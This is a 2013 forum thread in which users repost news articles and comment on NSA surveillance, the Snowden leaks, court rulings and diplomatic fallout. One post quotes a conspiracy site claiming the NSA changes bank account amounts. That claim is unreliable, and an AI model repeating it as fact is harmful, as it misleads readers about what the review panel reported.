Many phone connections look more like spokes all heading toward a central hub on a wheel, rather than the complex web of interactions we may assume. Millions of people who subscribe to T-Mobile, for example, call into one, central voicemail number. In Mayer and Mutchler's crowdsourced study of volunteer Android phone users, 17.5 percent were connected in just two hops by the T-Mobile voicemail number.

"That’s potentially tens of millions of Americans connected by just two phone hops, solely because of how their carrier happens to configure voicemail," they write. It gets worse when you toss in those annoying automatic spam robocalls.

In the FISA court rulings he has reviewed, Mayer told HuffPost in an email, he has seen little discussion of the implications of his research.

"We can’t expect lawyers to be experts in graph theory, of course," he said.

Mayer and Mutchler have previously used their expertise to show how our metadata -- which the courts have generally ruled is not protected by the Fourth Amendment -- can even be used to show who phone users are dating.

Their research could be limited, Mayer said, by the limited, self-selected nature of the survey, which relies on users signing up for an app. The NSA might also choose on its own to cut popular digits, like the T-Mobile voicemail number, out when linking Americans to suspected terrorist numbers.

"But that is not a legal requirement," Mayer said. "And, for those concerned about the scope of agency authority, voluntary self-restraint offers little reassurance."
Title: Re: they know what you are doing
Post by: Ellirium113 on December 11, 2013, 03:58:00 pm
Snowden document shows Canada set up spy posts for NSA


Quote
A top secret document retrieved by American whistleblower Edward Snowden reveals Canada has set up covert spying posts around the world and conducted espionage against trading partners at the request of the U.S. National Security Agency.


The leaked NSA document being reported exclusively by CBC News reveals Canada is involved with the huge American intelligence agency in clandestine surveillance activities in “approximately 20 high-priority countries."


Much of the document contains hyper-sensitive operational details which CBC News has chosen not to make public.

Sections of the document with the highest classification make it clear in some instances why American spymasters are particularly keen about enlisting their Canadian counterparts, the Communications Security Establishment Canada.


"CSEC shares with the NSA their unique geographic access to areas unavailable to the U.S," the document says.

The briefing paper describes a "close co-operative relationship" between the NSA and its Canadian counterpart, the Communications Security Establishment Canada, or CSEC — a relationship "both sides would like to see expanded and strengthened.


"The intelligence exchange with CSEC covers worldwide national and transnational targets."


http://www.cbc.ca/news/politics/snowden-document-shows-canada-set-up-spy-posts-for-nsa-1.2456886 (http://www.cbc.ca/news/politics/snowden-document-shows-canada-set-up-spy-posts-for-nsa-1.2456886)
Title: Re: they know what you are doing
Post by: PLAYSWITHMACHINES on December 11, 2013, 05:13:46 pm
Yes, i remember someone offered me a lot of money years ago to develop a TTW system, it never got off the table, but i was thinking of using EHF reflection in this manner, of course Wifi wasn't invented back then, but it's a classic example of 'using the system backwards', like the old TV licence peeps used to do, or the FAA tracking pirate stations.

All tech is a double edged sword. If you invent something, be prepared to invent a defense against it.................
Title: Re: they know what you are doing
Post by: Pimander on December 11, 2013, 06:12:41 pm
"they know what you are doing"

Thank fuc4 for that.  Someone is actually doing their job properly!

They don't know do they?  ::)
Title: Re: they know what you are doing
Post by: sky otter on December 14, 2013, 06:58:20 pm
http://www.nytimes.com/2013/12/15/us/officials-say-us-may-never-know-extent-of-snowdens-leaks.html?src=twr&_r=0


Officials Say U.S. May Never Know Extent of Snowden’s Leaks

By MARK MAZZETTI and MICHAEL S. SCHMIDT
Published: December 14, 2013

WASHINGTON — American intelligence and law enforcement investigators have concluded that they may never know the entirety of what the former National Security Agency contractor Edward J. Snowden extracted from classified government computers before leaving the United States, according to senior government officials.

Investigators remain in the dark about the extent of the data breach partly because the N.S.A. facility in Hawaii where Mr. Snowden worked — unlike other N.S.A. facilities — was not equipped with up-to-date software that allows the spy agency to monitor which corners of its vast computer landscape its employees are navigating at any given time.

Six months since the investigation began, officials said Mr. Snowden had further covered his tracks by logging into classified systems using the passwords of other security agency employees, as well as by hacking firewalls installed to limit access to certain parts of the system.

“They’ve spent hundreds and hundreds of man-hours trying to reconstruct everything he has gotten, and they still don’t know all of what he took,” a senior administration official said. “I know that seems crazy, but everything with this is crazy.”

That Mr. Snowden was so expertly able to exploit blind spots in the systems of America’s most secretive spy agency illustrates how far computer security still lagged years after President Obama ordered standards tightened after the WikiLeaks revelations of 2010.

Mr. Snowden’s disclosures set off a national debate about the expansion of the N.S.A.’s powers to spy both at home and abroad, and have left the Obama administration trying frantically to mend relations with allies after his revelations about American eavesdropping on foreign leaders.

A presidential advisory committee that has been examining the security agency’s operations submitted its report to Mr. Obama on Friday. The White House said the report would not be made public until next month, when Mr. Obama announces which of the recommendations he has embraced and which he has rejected.



Mr. Snowden gave his cache of documents to a small group of journalists, and some from that group have shared documents with several news organizations — leading to a flurry of exposures about spying on friendly governments. In an interview with The New York Times in October, Mr. Snowden said he had given all of the documents he downloaded to journalists and kept no additional copies.

In recent days, a senior N.S.A. official has told reporters that he believed Mr. Snowden still had access to documents not yet disclosed. The official, Rick Ledgett, who is heading the security agency’s task force examining Mr. Snowden’s leak, said he would consider recommending amnesty for Mr. Snowden in exchange for those documents.

“So, my personal view is, yes, it’s worth having a conversation about,” Mr. Ledgett told CBS News. “I would need assurances that the remainder of the data could be secured, and my bar for those assurances would be very high. It would be more than just an assertion on his part.”

Mr. Snowden is living and working in Russia under a one-year asylum. The Russian government has refused to extradite Mr. Snowden, who was indicted by the Justice Department in June on charges of espionage and stealing government property, to the United States.

Mr. Snowden has said he would return to the United States if he was offered amnesty, but it is unclear whether Mr. Obama — who would most likely have to make such a decision — would make such an offer, given the damage the administration has claimed Mr. Snowden’s leaks have done to national security.

Because the N.S.A. is still uncertain about exactly what Mr. Snowden took, government officials sometimes first learn about specific documents from reporters preparing their articles for publication — leaving the State Department with little time to notify foreign leaders about coming disclosures.

With the security agency trying to revamp its computer network in the aftermath of what could turn out to be the largest breach of classified information in American history, the Justice Department has continued its investigation of Mr. Snowden.

According to senior government officials, F.B.I. agents from the bureau’s Washington field office, who are leading the investigation, believe that Mr. Snowden methodically downloaded the files over several months while working as a government contractor at the Hawaii facility. They also believe that he worked alone, the officials said.

But for all of Mr. Snowden’s technical expertise, some American officials also place blame on the security agency for being slow to install software that can detect unusual computer activity carried out by the agency’s work force — which, at approximately 35,000 employees, is the largest of any intelligence agency.

An N.S.A. spokeswoman declined to comment.

After a similar episode in 2010 — when an Army private, Chelsea Manning, gave hundreds of thousands of military chat logs and diplomatic cables to the antisecrecy group WikiLeaks — the Obama administration took steps intended to prevent another government employee from downloading and disseminating large volumes of classified material.

In October 2011, Mr. Obama signed an executive order establishing a task force charged with “deterring, detecting and mitigating insider threats, including the safeguarding of classified information from exploitation, compromise, or other unauthorized disclosure.” The task force, led by the attorney general and the director of national intelligence, has the responsibility of developing policies and new technologies to protect classified information.

But one of the changes, updating computer systems to track the digital meanderings of the employees of intelligence agencies, occurred slowly.

“We weren’t able to flip a switch and have all of those changes made instantly,” said one American intelligence official.

Lonny Anderson, the N.S.A.’s chief technology officer, said in a recent interview that much of what Mr. Snowden took came from parts of the computer system open to anyone with a high-level clearance. And part of his job was to move large amounts of data between different parts of the system.

But, Mr. Anderson said, Mr. Snowden’s activities were not closely monitored and did not set off warning signals.

“So the lesson learned for us is that you’ve got to remove anonymity” for those with access to classified systems, Mr. Anderson said during the interview with the Lawfare blog, part of a podcast series the website plans to run this week.

Officials said Mr. Snowden, who had an intimate understanding of the N.S.A.’s computer architecture, would have known that the Hawaii facility was behind other agency outposts in installing monitoring software.

According to a former government official who spoke recently with Gen. Keith B. Alexander, the N.S.A. director, the general said that at the time Mr. Snowden was downloading the documents, the spy agency was several months away from having systems in place to catch the activity.

As investigations by the F.B.I. and the N.S.A. grind on, the State Department and the White House have absorbed the impact of Mr. Snowden’s disclosures on America’s diplomatic relations with other countries.

“There are ongoing and continuing efforts by the State Department still to reach out to countries and to tell them things about what he took,” said one senior administration official. The official said the State Department often described the spying to foreign leaders as “business as usual” between nations.  
Title: Re: they know what you are doing
Post by: Sinny on December 16, 2013, 02:40:49 am
At least I'm no longer the crazy paranoid Brit who thought the NSA was watching her computer lool.
Title: Re: they know what you are doing
Post by: sky otter on December 16, 2013, 09:24:21 pm

is the tide turning and will it make any difference...?






http://www.nytimes.com/2013/12/17/us/politics/federal-judge-rules-against-nsa-phone-data-program.html?_r=0

Judge Questions Legality of N.S.A. Phone Records

edit to add the bus pic..the best part..lol



(http://i58.servimg.com/u/f58/13/55/53/83/jp-nsa10.jpg)

A city bus in Washington displays a wraparound advertisement sponsored by the Partnership for Civil Justice Fund.

By CHARLIE SAVAGE
Published: December 16, 2013


WASHINGTON — A federal district judge ruled on Monday that the National Security Agency program that is systematically keeping records of all Americans’ phone calls most likely violates the Constitution, describing its technology as “almost Orwellian” and suggesting that James Madison would be “aghast” to learn that the government was encroaching on liberty in such a way.

The judge, Richard J. Leon of Federal District Court for the District of Columbia, ordered the government to stop collecting data on the personal calls of the two plaintiffs in the case and to destroy the records of their calling history. But Judge Leon, appointed to the bench in 2002 by President George W. Bush, stayed his injunction “in light of the significant national security interests at stake in this case and the novelty of the constitutional issues,” allowing the government time to appeal it, which he said could take at least six months.

“I cannot imagine a more ‘indiscriminate’ and ‘arbitrary’ invasion than this systematic and high-tech collection and retention of personal data on virtually every single citizen for purposes of querying and analyzing it without prior judicial approval,” Judge Leon wrote in a 68-page ruling. “Surely, such a program infringes on ‘that degree of privacy’ that the founders enshrined in the Fourth Amendment,” which prohibits unreasonable searches and seizures.

Andrew Ames, a Justice Department spokesman, said government lawyers were studying the decision, but he added: “We believe the program is constitutional as previous judges have found.”

The case is the first in which a federal judge who is not on the Foreign Intelligence Surveillance Court, which authorized the once-secret program, has examined the bulk data collection on behalf of someone who is not a criminal defendant. The Justice Department has said that 15 separate judges on the surveillance court have held on 35 occasions that the calling data program is legal.



It also marks the first successful legal challenge brought against the program since it was revealed in June after leaks by the former N.S.A. contractor Edward J. Snowden.

In a statement from Moscow, where he has obtained temporary asylum, Mr. Snowden praised the ruling.

“I acted on my belief that the N.S.A.’s mass surveillance programs would not withstand a constitutional challenge, and that the American public deserved a chance to see these issues determined by open courts,” Mr. Snowden said in his statement. It was distributed by Glenn Greenwald, a journalist who received leaked documents from Mr. Snowden and wrote the first article about the bulk data collection. “Today, a secret program authorized by a secret court was, when exposed to the light of day, found to violate Americans’ rights,” the statement said. “It is the first of many.”

The case was brought by several plaintiffs led by Larry Klayman, a conservative legal activist. Mr. Klayman, who represented himself and the other plaintiffs, said in an interview on Monday that he was seeking to turn the case into a class action on behalf of all Americans. “I’m extremely gratified that Judge Leon had the courage to make this ruling,” he said. “He is an American hero.”

Mr. Klayman argued that he had legal standing to challenge the program in part because, he contended, the government had sent inexplicable text messages to his clients on his behalf; at a hearing, he told the judge, “I think they are messing with me.”

The judge portrayed that claim as “unusual” but looked past it, saying Mr. Klayman and his co-plaintiff instead had standing because it was highly likely, based on the government’s own description of the program as a “comprehensive metadata database,” that the N.S.A. collected data about their phone calls along with everyone else’s.

Similar legal challenges to the N.S.A. program, including by the American Civil Liberties Union and the advocacy group Electronic Frontier Foundation, are at earlier stages in the courts. Last month, the Supreme Court declined to hear an unusual challenge to the program by the Electronic Privacy Information Center, which had sought to bypass lower courts.

The ruling on Monday comes as several government panels are developing recommendations on whether to keep, restructure or scrap the bulk data collection program, and as Congress debates competing bills over the program’s future.

Though long and detailed, Judge Leon’s ruling is not a final judgment on the program, but rather a preliminary injunction to stop the collection of data about the plaintiffs while they pursued their case



He also wrote that he had “serious doubts about the efficacy” of the program, saying that the government had failed to cite “a single instance in which analysis of the N.S.A.’s bulk metadata collection actually stopped an imminent attack, or otherwise aided the government in achieving any objective that was time-sensitive.”

Judge Leon rejected the Obama administration’s argument that a 1979 case, Smith v. Maryland, had established there are no Fourth Amendment protections for call metadata — information like the numbers dialed and the date, time and duration of calls, but not their content. The 1979 case, which involved collecting information about a criminal defendant’s calls, helped establish the principle that people do not have a reasonable expectation of privacy for information they have exposed to a third party, like the phone company, which knows about their calls.

The surveillance court, which issues secret rulings after hearing arguments from only the Justice Department and without opposing lawyers, has maintained that the 1979 decision is a controlling precedent that shields the N.S.A. call data program from Fourth Amendment review. But Judge Leon, citing the scope of the program and the evolving role of phones and technology, distinguished the bulk collection from the 34-year-old case.

Last month, a federal judge declined to grant a new trial to several San Diego men convicted of sending money to a terrorist group in Somalia. Government officials have since acknowledged that investigators became interested in them because of the call records program. Citing Smith v. Maryland, the judge said the defendants had “no legitimate expectation of privacy” over their call data.

David Rivkin, a White House lawyer in the administration of the elder President George Bush, criticized Judge Leon’s reasoning.

“Smith v. Maryland is the law of the land,” Mr. Rivkin said. “It is not for a District Court judge to question the continuing validity of a Supreme Court precedent that is exactly on point.”

Judge Leon also pointed to a landmark privacy case decided by the Supreme Court in 2012 that held it was unconstitutional for the police to use a GPS tracking device to monitor a suspect’s public movements without a warrant.

Although the court decided the case on narrow grounds, five of the nine justices separately questioned whether the 1979 precedent was still valid in an era of modern technology, which enables long-term, automated collection of information.  
Title: Re: they know what you are doing
Post by: thorfourwinds on December 16, 2013, 09:48:21 pm
(http://www.thelivingmoon.com/gallery/albums/userpics/10005/Defense.jpg)

Map Shows The NSA's Massive Worldwide Malware Operations - Business Insider (http://www.businessinsider.com/map-shows-the-nsas-massive-worldwide-malware-operations-2013-11)

A new map details how many companies across the world have been infected by malware by the National Security Agency's team of hackers, and where the companies are located.

Dutch newspaper NRC Handelsblad (http://www.nrc.nl/nieuws/2013/11/23/nsa-infected-50000-computer-networks-with-malicious-software/) reports the NSA uses malware to infect, infiltrate and steal information from over 50,000 computer networks around the globe. This new, previously unreported scope of the NSA's hacking operation comes from another PowerPoint slide showing a detailed map of every infection leaked by former contractor Edward Snowden.

The practice is called "Computer Network Exploitation," or CNE for short, and it's carried out by the NSA's Tailored Access Operations team. A yellow dot on the map signifies a CNE infection. The NSA plants malware within a network that can flipped on or off at any time.

Once a network is infected, the malware gives the NSA unfiltered access to the network's information whenever it's most convenient.
Title: Re: they know what you are doing
Post by: thorfourwinds on December 16, 2013, 09:57:40 pm
(http://www.thelivingmoon.com/gallery/albums/userpics/10005/FortMeade.jpg)

NSA headquarters at Fort Meade, MD where TAO's main team reportedly works (Wikipedia)

The Washington Post previously profiled the team of "elite hackers" who make up the NSA's TAO division.
  
The British intelligence service liked this strategy too, NRC Handelsblad reports, because they successfully duped a Belgium telecom company with a fake LinkedIn account. A strip at the bottom says the map is relative to relative to the U.K., Australia, New Zealand, and Canada, the "Five Eyes" nations that share intelligence.
 
The bulk of CNE operations take place in Europe, South American and Asia. Some are speculating CNE operations focus on Internet service providers, telecom giants and other similar companies to better facilitate massive information collection. 

Where the NSA's team of hackers fit into the organization's greater intelligence gathering structure is presently unclear. But another new document, a February 2012 memo leaked to The New York Times about the NSA's goals for the future, shows exactly how extensive the NSA thought its intelligence gathering would become.

They wanted everything:

Intent on unlocking the secrets of adversaries, the paper underscores the agency’s long-term goal of being able to collect virtually everything available in the digital world. To achieve that objective, the paper suggests that the N.S.A. plans to gain greater access, in a variety of ways, to the infrastructure of the world’s telecommunications networks.

Prior to Edward Snowden revealing the operation to the world and ruining the fun, that is.

There's now far more public and international scrutiny directed towards the bulk intelligence gathering operation. 
Title: Re: they know what you are doing
Post by: sky otter on December 16, 2013, 10:03:01 pm
headline at huff                     http://www.huffingtonpost.com/

TOLD YA  


FEDERAL JUDGE: NSA Spying Program Likely Unconstitutional..

. Obama To Meet With Tech Honchos...

'Applications To Work At The NSA Are Down By More Than One Third,

And Retention Rates Have Also Declined'...
 
 
Title: Re: they know what you are doing
Post by: sky otter on December 17, 2013, 08:31:18 am




http://www.huffingtonpost.com/2013/12/17/edward-snowden-brazil-open-letter_n_4457662.html


Edward Snowden Pens 'Open Letter' Offering To Help Brazil Investigate U.S. Spying

By BRADLEY BROOKS 12/17/13 07:57 AM ET EST 



RIO DE JANEIRO (AP) — National Security Agency leaker Edward Snowden wrote in a lengthy "open letter to the people of Brazil" that he's been inspired by the global debate ignited by his release of thousands of National Security Agency documents, and that the NSA's culture of indiscriminate global espionage "is collapsing."

In the letter, released widely online, Snowden commended the Brazilian government for its strong stand against U.S. spying.

He said he'd be willing to help the South American nation investigate NSA spying on its soil, but could not fully participate in doing so without being granted political asylum, because the U.S. "government will continue to interfere with my ability to speak."

Revelations about the NSA's spy programs were first published in June, based on some of the thousands of documents Snowden handed over to the Brazil-based American journalist Glenn Greenwald and his reporting partner Laura Poitras, a U.S. filmmaker.

The documents revealed that Brazil is the top NSA target in Latin America, spying that has included the monitoring of Brazilian President Dilma Rousseff's cellphone and hacking into the internal network of state-run oil company Petrobras.

The revelations enraged Rousseff, who in October canceled an official visit to Washington that was to include a state dinner. She's also pushing the United Nations to give citizens more protections against spying.

In his letter, Snowden dismissed U.S. explanations to the Brazilian government and others that the bulk metadata gathered on billions of emails and calls was more "data collection" than surveillance.

"There is a huge difference between legal programs, legitimate spying ... and these programs of dragnet mass surveillance that put entire populations under an all-seeing eye and save copies forever," he wrote. "These programs were never about terrorism: they're about economic spying, social control, and diplomatic manipulation. They're about power."

Brazilian senators have asked for Snowden's help during hearings about the NSA's targeting of Brazil, an important transit hub for trans-Atlantic fiber optic cables that are hacked. Both Greenwald and his domestic partner David Miranda spoke before the senate, and Miranda has taken up the cause of persuading the Brazilian government to grant political asylum to Snowden.

Snowden, who is living in Russia on a temporary one-year visa, previously requested political asylum in Brazil and several other nations.

On Tuesday, neither Brazil's Foreign Ministry nor the presidential office said they had immediate comment on Snowden's letter or any pending asylum request.

Several members of Brazil's congress have called for Snowden to receive asylum, so that he could assist lawmakers' investigation into NSA activity in Brazil.

Rousseff recently joined Germany in pushing for the United Nations to adopt a symbolic resolution which seeks to extend personal privacy rights to all people.

The Brazilian leader has also ordered her government to take several measures, including laying fiber optic lines directly to Europe and South American nations, in an effort to "divorce" Brazil from the U.S.-centric backbone of the Internet that experts say has facilitated NSA spying.

The Snowden letter was first published Tuesday in a Portuguese translation by the Folha de S. Paulo newspaper. The AP later obtained the original English version.

It comes one day after a U.S. district judge ruled that the NSA's bulk collection of millions of Americans' telephone records likely violates the U.S. Constitution's ban on unreasonable search. The case is likely to go to the Supreme Court for a final decision.

"Six months ago, I revealed that the NSA wanted to listen to the whole world," Snowden wrote. "Now, the whole world is listening back, and speaking out, too. ... The culture of indiscriminate worldwide surveillance, exposed to public debates and real investigations on every continent, is collapsing."
Title: Re: they know what you are doing
Post by: sky otter on December 18, 2013, 06:49:59 am


http://news.msn.com/world/brazil-refuses-to-grant-snowden-asylum


Brazil refuses to grant Snowden asylum




In a letter published Tuesday by the Folha de S. Paulo newspaper, Edward Snowden said that he would be willing to help Brazil's government investigate US spying.

BRASILIA — Brazil has no plans to grant asylum to Edward Snowden even after the former U.S. National Security Agency contractor offered on Tuesday to help investigate revelations of spying on Brazilians and their president, a local newspaper reported.

The Folha de S.Paulo newspaper, citing unnamed government officials, said the Brazilian government has no interest in investigating the mass Internet surveillance programs Snowden revealed in June and does not intend to give him asylum.

Related: Snowden offers to help Brazil if given asylum

In an "Open Letter to the Brazilian People" published by Folha and social media, Snowden offered to help a congressional probe into NSA spying on the country, including the personal communications of President Dilma Rousseff.

"I have expressed my willingness to assist wherever appropriate and lawful, but unfortunately the United States government has worked very hard to limit my ability to do so," the letter said.

Snowden is living in Russia under temporary asylum that is due to expire in August. He had previously asked for asylum in Brazil, among other countries, but Brasilia did not answer his request. While Snowden stopped short of asking for asylum again in the letter, he suggested that any collaboration with Brazilian authorities would depend them granting him asylum.

"Until a country grants permanent political asylum, the U.S. government will continue to interfere with my ability to speak," Snowden wrote.

The revelations of NSA spying damaged relations between the United States and Latin America's largest country and prompted Rousseff to cancel a state visit to Washington in October. The spying also led Rousseff to become a global advocate for curbs on Internet surveillance.

Evidence that the NSA monitored Rousseff's email and cellphone, and hacked into the computing network of state-run oil company Petrobras, angered Brazilians and led the Senate to probe the extent of U.S. spying in Brazil. Some members of Brazil's Congress have asked Russia for permission to interview Snowden but have received no reply, a congressional aide said.

In a Twitter message, Senator Ricardo Ferraço, chairman of the Senate foreign relations committee, said "Brazil should not miss the opportunity to grant asylum to Edward Snowden, who was key to unraveling the U.S. espionage system."

Other politicians, mainly opponents of Rousseff's leftist government, said granting Snowden asylum would be counter-productive and would lead to further deterioration of ties with the United States, Brazil's largest trading partner after China.

Rights watchdog Amnesty International said Brazil should give "full consideration" to Snowden's claim for asylum.

"It is his right to seek international protection, and it's also Brazil's international obligation to review and decide on his request under the refugee convention," Amnesty said in a statement.

A Brazilian foreign ministry spokesman said Brazil has never received a formal application for asylum from Snowden and thus had nothing to consider.

Related: White House: Snowden should still face charges in US

The original English version of Snowden's letter was published on the Facebook page of David Miranda, partner of journalist and blogger Glenn Greenwald, who first brought the Snowden leaks to the world's attention.

Miranda started a petition on the website Avaaz, pressing Rousseff to grant asylum to the "courageous" Snowden.

In his letter, Snowden praised Brazil's efforts at the United Nations to limit excessive electronic surveillance.

Last month a U.N. General Assembly committee expressed concern at the harm such scrutiny, including spying in foreign states and the mass collection of personal data, might have on human rights, following a joint resolution introduced by Brazil and Germany.

On Monday, White House spokesman Jay Carney dismissed the suggestion that the United States could grant amnesty to Snowden if he turned over the documents in his possession.


Title: Re: they know what you are doing
Post by: sky otter on December 18, 2013, 04:52:18 pm

how long can they delay till they find a way around it...



http://www.huffingtonpost.com/2013/12/18/nsa-surveillance_n_4468213.html


Task Force Urges Limits On NSA Surveillance



AP  |  Posted: 12/18/2013 2:50 pm EST  |  Updated: 12/18/2013 4:50 pm EST

By JULIE PACE and KIMBERLY DOZIER, THE ASSOCIATED PRESS



vid at link

WASHINGTON (AP) — A presidential advisory panel has recommended sweeping limits on the government's surveillance programs, including requiring a court to sign off on individual searches of phone records and stripping the National Security Agency of its ability to store that data from Americans.

It was unclear how the changes, if enacted, would impact the scope of the vast government surveillance programs. While President Barack Obama ordered the review board to submit recommendations following government spying disclosures earlier this year, he is under no obligation to accept the proposals.

The White House authorized the release of the review group's report Wednesday, weeks ahead of schedule. The president was also conducting an internal review of the government's surveillance programs and planned to announce his decisions in January.

The review board's proposals address the government's ability to collect intelligence both in the United States and overseas.

The recommendations include tightening federal law enforcement's use of so-called national security letters, which give the government sweeping authority to demand financial and phone records without prior court approval in national security cases. The task force recommended that authorities should be required to obtain a prior "judicial finding" showing "reasonable grounds" that the information sought is relevant to terrorism or other intelligence activities.

In addition, the panel proposed terminating the NSA's ability to store telephone data and instead require it to be held by the phone companies or a third party. Access to the data would then be permitted only through an order from a Foreign Intelligence Surveillance Court.

The panel called for more independent review of what the NSA collects and the process by which it goes about gathering data.

Amid an international furor over NSA spying on the leaders of allied nations such as Germany, the review group recommended that the president personally approve all sensitive methods used by the intelligence community. It said the process should identify both when surveillance of foreign leaders should be used and when it should be limited.

Among the considerations in deciding whether to spy on allies, the report said, is whether the United States shares "fundamental values and interests" with the leaders of those nations.

"Just because we can doesn't mean we should," said Richard A. Clarke, who served on the five-member panel.

Read the full report here:

http://www.docstoc.com/docs/165709600/Presidentâ??s%20Review%20Group%20on%20Intelligence%20%20and%20Communications%20Technologies%20Report%20On%20NSA

Title: Re: they know what you are doing
Post by: sky otter on December 19, 2013, 11:01:19 am

ah-ha..big business money will change the spying...probably make it go back underground..cause
this puppy is already to big  to get back into the kennel..

oh shhhhhhhhhhhet.. too late to fix the quote below but i will fix this one...sigh  ::)



http://www.huffingtonpost.com/2013/12/18/brazil-saab-jet-deal_n_4469386.html


Brazil Chooses Saab Jet Deal For Air Force After NSA Spying Sours Boeing Bid



Reuters  |  Posted: 12/18/2013 6:20 pm EST  |  Updated: 12/19/2013 9:52 am EST



By Alonso Soto and Brian Winter

BRASILIA/SAO PAULO, Dec 18 (Reuters) - Brazil awarded a $4.5 billion contract to Saab AB on Wednesday to replace its aging fleet of fighter jets, a surprise coup for the Swedish company after news of U.S. spying on Brazilians helped derail Boeing's chances for the deal.

The contract, negotiated over the course of three presidencies, will supply Brazil's air force with 36 new Gripen NG fighters by 2020. Aside from the cost of the jets themselves, the agreement is expected to generate billions of additional dollars in future supply and service contracts.

Saab did not immediately comment on the purchase. In addition to Chicago-based Boeing Co, France's Dassault Aviation SA was a contender for the contract.

The timing of the announcement, after more than a decade of off-and-on negotiations, appeared to catch the companies involved by surprise. Even Juniti Saito, Brazil's top air force commander, said on Wednesday that he only heard of the decision a day earlier in a meeting with President Dilma Rousseff.

Brazilian officials said the deal, one of the most coveted emerging-market defense contracts, went to Saab because it provided the most affordable option for the new jets, as well as the best conditions for technology transfer to local partners.

The choice, Defense Minister Celso Amorim said, "took into account performance, the effective transfer of technology and costs - not just of acquisition but of maintenance."

Until earlier this year, Boeing's F/A-18 Super Hornet had been considered the front runner. But revelations of spying by the U.S. National Security Agency in Brazil, including personal communication by Rousseff, led Brazil to believe it could not trust a U.S. company.

"The NSA problem ruined it for the Americans," a Brazilian government source said on condition of anonymity.

A U.S. source close to the negotiations said that whatever intelligence the spying had delivered for the American government was unlikely to outweigh the commercial cost of the revelations.

"Was that worth 4 billion dollars?" the source asked.

The lament echo's recent complaints by Cisco Systems Inc , which said in November that a backlash against U.S. government spying contributed to lower demand for its products in China.

In a statement, Boeing called Brazil's decision a "disappointment," but added that it would continue to work with Brazil to meet its defense requirements.


Dassault, for its part, said it regrets Brazil's decision and called Saab's fighter an aircraft that was inferior to its Rafale jet.

"The Gripen is a lighter, single engine aircraft that does not match the Rafale in terms of performance and therefore does not carry the same price tag," it said.

Saab says the Gripen NG has the lowest logistical and operational costs of all fighters currently in service.

Brazil coexists peacefully with all of its South American neighbors and has no enemies elsewhere. The country, however, is eager to fortify its military as it considers the long-term defense of its vast borders and abundant natural resources, including the Amazon rainforest and offshore oil discoveries.

"We are a peaceful country, but we won't be defenseless," Rousseff said on Wednesday at a lunch with senior officials from Brazil's military, where she said the announcement was forthcoming. "A country the size of Brazil must always be ready to protect its citizens, patrimony and sovereignty."

Sweden's defense minister, Karin Enstrom, said in an interview that the contract, "is a sign that the Gripen is a well-functioning system which is cost efficient."

Under the terms of their agreement, Brazil and Saab will now finalize contract details within a year. The first jet is expected to be delivered two years later, with about 12 of the aircraft expected annually after that.

Brazil's decision unexpectedly wraps up a tortuous and prolonged decision-making process that had made the negotiations the object of ridicule in some defense circles.

However, the deal was taken very seriously by the competitors.

French President François Hollande personally lobbied for Dassault last week during a state visit. Boeing, for its part, was so committed to winning the contract that it opened a big corporate office in Brazil and named Donna Hrinak, a former U.S. ambassador to the country, as its top executive there.

The timing of the announcement surprised many analysts, who believed that the slowdown in Latin America's biggest economy, coupled with Rousseff's expected bid for re-election next year, would delay the purchase until 2015.

Indeed, the decision coincides with pressure on Rousseff from economists, the private sector and political opponents to curb public spending. Having initially increased government spending in efforts to spur growth, the president now faces growing criticism because of stubborn inflation and a worsening outlook for the country's budgetary targets.

Still, the country's current fleet of Mirage fighters, which the new jets will replace, is so old that the air force this week is taking them out of service. And Brazil's government said the money to pay for the jets would not come out of the budget until 2015, after the contract is finalized.

Analysts said the Gripen's cost advantage stems from its relative simplicity compared with the other jets.

"The Gripen is more accessible in terms of technology," said Richard Aboulafia, an analyst at the Teal Group, a Virginia-based research company for aerospace and defense. "It's something Brazil could conceivable build itself."

At the briefing in which they announced their decision, government officials said Brazilian aircraft maker Embraer SA would be Saab's principal partner. The transfer of technology is crucial to help Brazil develop future generations of fighter aircraft.

"There isn't necessarily a need to produce all the parts in Brazil," Amorim, the defense minister said. "What's important is that specific aviation technology is transferred to Brazil so we can develop it."

The delta-winged Gripen, Swedish for Griffin, was first introduced into service in the late 90's and is currently flown by the Swedish, Hungarian, South African, Thai and Czech air forces, according to the company's website.

Saab shares rose 1.84 percent to 133 krona on Wednesday, their highest close in 10 days. Earlier in the day, they rose as much as 5.7 percent to 138 krona, the highest in five months.

Boeing shares fell 0.13 percent to $135.70 in New York, while Dassault Aviation shares fell 0.4 percent to 920 euros in Paris.
Title: Re: they know what you are doing
Post by: Ellirium113 on December 19, 2013, 03:12:50 pm

ah-ha..big business money will change the spying...probably make it go back underground..cause
this puppy is already to get back into the kennel..


Right back at-ya NSA will change the MONEY!!

Quote
A White House review panel report into the activities of the NSA suggested that the government was using the spy agency to launch cyber attacks against financial institutions and change the amounts held in bank accounts.

Quote
“Top financial experts say that the NSA and other intelligence agencies are using information gained from spying to profit from this inside information. And the NSA wants to ramp up its spying on Wall Street … to “protect” it. “Whose money, exactly, is the NSA “protecting” … and how are they protecting it?” asks Washington’s Blog, “What about the money of people that the U.S. government considers undesirables?”

http://www.prisonplanet.com/government-using-nsa-to-change-amount-in-bank-accounts-warns-panel.html (http://www.prisonplanet.com/government-using-nsa-to-change-amount-in-bank-accounts-warns-panel.html)
Title: Re: they know what you are doing
Post by: Ellirium113 on December 19, 2013, 05:10:23 pm
[youtube]http://www.youtube.com/watch?v=L_Jvb5cBfiE[/youtube]


Eyes everywhere: NSA's second tier spying partners identified


Quote
Denmark, Belgium, the Netherlands and several other EU countries were named among “third party partners” in the NSA-led global signal intelligence program, a new leak submitted by journalist Glenn Greenwald to Danish TV reveals.

According to the document, obtained by Swedish TV program ‘Mission: Investigate’, that has been probing Sweden's participation in global spying operations, nine European countries were added to the list of NSA accomplices.

The "third party partners" to the Five Eyes nations has now grown to include nine states - Denmark, Sweden, Norway, Belgium, France, Germany, Italy, the Netherlands and Spain.

http://rt.com/news/denmark-nsa-signit-partner-516/ (http://rt.com/news/denmark-nsa-signit-partner-516/)
Title: Re: they know what you are doing
Post by: sky otter on December 20, 2013, 09:26:44 pm


http://www.nytimes.com/2013/12/21/world/nsa-dragnet-included-allies-aid-groups-and-business-elite.html?hp&_r=1&pagewanted=all&

N.S.A. Spied on Allies, Aid Groups and Businesses

By JAMES GLANZ and ANDREW W. LEHREN
Published: December 20, 2013 347 Comments

Secret documents reveal more than 1,000 targets of American and British surveillance in recent years, including the office of an Israeli prime minister, heads of international aid organizations, foreign energy companies and a European Union official involved in antitrust battles with American technology businesses
While the names of some political and diplomatic leaders have previously emerged as targets, the newly disclosed intelligence documents provide a much fuller portrait of the spies’ sweeping interests in more than 60 countries.

